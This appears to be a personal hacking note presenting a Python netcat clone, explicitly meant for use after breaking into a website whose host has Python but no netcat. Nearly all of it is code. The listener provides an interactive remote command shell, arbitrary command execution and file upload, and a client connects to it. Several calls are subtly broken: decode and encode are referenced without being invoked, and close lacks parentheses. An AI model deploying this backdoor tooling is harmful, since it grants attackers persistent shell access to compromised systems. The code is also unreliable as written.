# Netcat ###### tags: `Networking` `netcat` `python` `hacking` After we invaded the website if the systems doesn't have Netcat. But they have installed python, we could try to write it by ourselves. - Function - remotely execute commands - upload the file ## [Subprocess](/ODziopxQTp2P8cyXRPROEA) ---------- # Netcat ```python= import argparse #user interface import subprocess #execute cmd import sys #shell import socket import textwrap import threading import shlex # use argarse to create the commend interface. # parser: argument container parser = argparse.ArgumentParser( description="NetCat by meowhecker!!!", formatter_class=argparse.RawDescriptionHelpFormatter, epilog=textwrap.dedent(''' example: netcatMeowhecker.py -t 0.0.0.0 -p 6669 -l #connect to the targetHost netcatMeowhecker.py -t 0.0.0.0 -p 6669 -l -c # shell mode netcatMeowhecker.py -t 0.0.0.0 -p 6669 -l -u=upload.txt # uploadfile netcatMeowhecker.py -t 0.0.0.0 -p 6669 -l -e=~~~# execute commend ''')) parser.add_argument("-c", "--commend", action="store_true", help="commend shell") parser.add_argument("-e", "--execute", help="execute special commend") parser.add_argument("-l", "--listen", action="store_true", help="listen") parser.add_argument("-p", "--port", type=int, help="specified port") parser.add_argument("-t", "--target", help="specified target") parser.add_argument("-u", "--upload", help="upload the file") args = parser.parse_args() def execute(cmd): cmd=cmd.strip() if not cmd: return output=subprocess.check_output(shlex.split(cmd),stderr=subprocess.STDOUT) return output.decode() class netCat: def __init__(self, args, buffer=None): self.args=args self.buffer=buffer self.socket=socket.socket(socket.AF_INET,socket.SOCK_STREAM) self.socket.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)#setsockopt(level,optionName,value) # socket.SQL_SOCKET: socket is using this option # socket.SO_REUEADDR: socket release port instantly def run(self): if self.args.listen: self.listen() else: self.send() def job(self, clientSocket): if self.args.execute: commend = execute(self.args.execute) clientSocket.send(commend.encode()) elif self.args.upload: fileBuffer=b'' while True: fileData = clientSocket.recv(4096) if fileData: fileBuffer += fileData else: break with open(self.args.upload,"wb") as fileupload: fileupload.write(fileBuffer) message = f'file save{self.args.upload}' clientSocket.send(message.encode()) elif self.args.commend: commendBuffer=b'' #print("meow") while True: try: clientSocket.send(b'Meowhecker#>') while '\n' not in commendBuffer.decode(): commendBuffer += clientSocket.recv(64) response = execute(commendBuffer.decode()) if response: clientSocket.send(response.encode()) commendBuffer=b'' except Exception as e: print(f'sever killed {e}') self.socket.close sys.exit() def listen(self): self.socket.bind((self.args.target, self.args.port)) self.socket.listen(5) print(f'listening on {self.args.target}:{self.args.port}') while 1: clientSocket, address= self.socket.accept() print(f'connection from {address[0]}:{address[1]}') thread = threading.Thread(target=self.job, args=(clientSocket,)) thread.start() def send(self): #print("meow2") self.socket.connect((self.args.target,self.args.port)) if self.buffer: self.socket.send(self.buffer) try: receiveLen = 1 response='' while receiveLen: message = self.socket.recv(4096) receiveLen = len(message) response += message.decode if receiveLen < 2: break if response: print(response) buffer=input('MeowheckerShellResponse:#>') buffer+='\n' self.socket.send(buffer.encode()) except KeyboardInterrupt: print("Netcat terminated") self.socket.close() sys.exit() if __name__ =="__main__": if args.listen: buffer = '' else: buffer = sys.stdin.read() nc =netCat(args,buffer.encode) nc.run() ```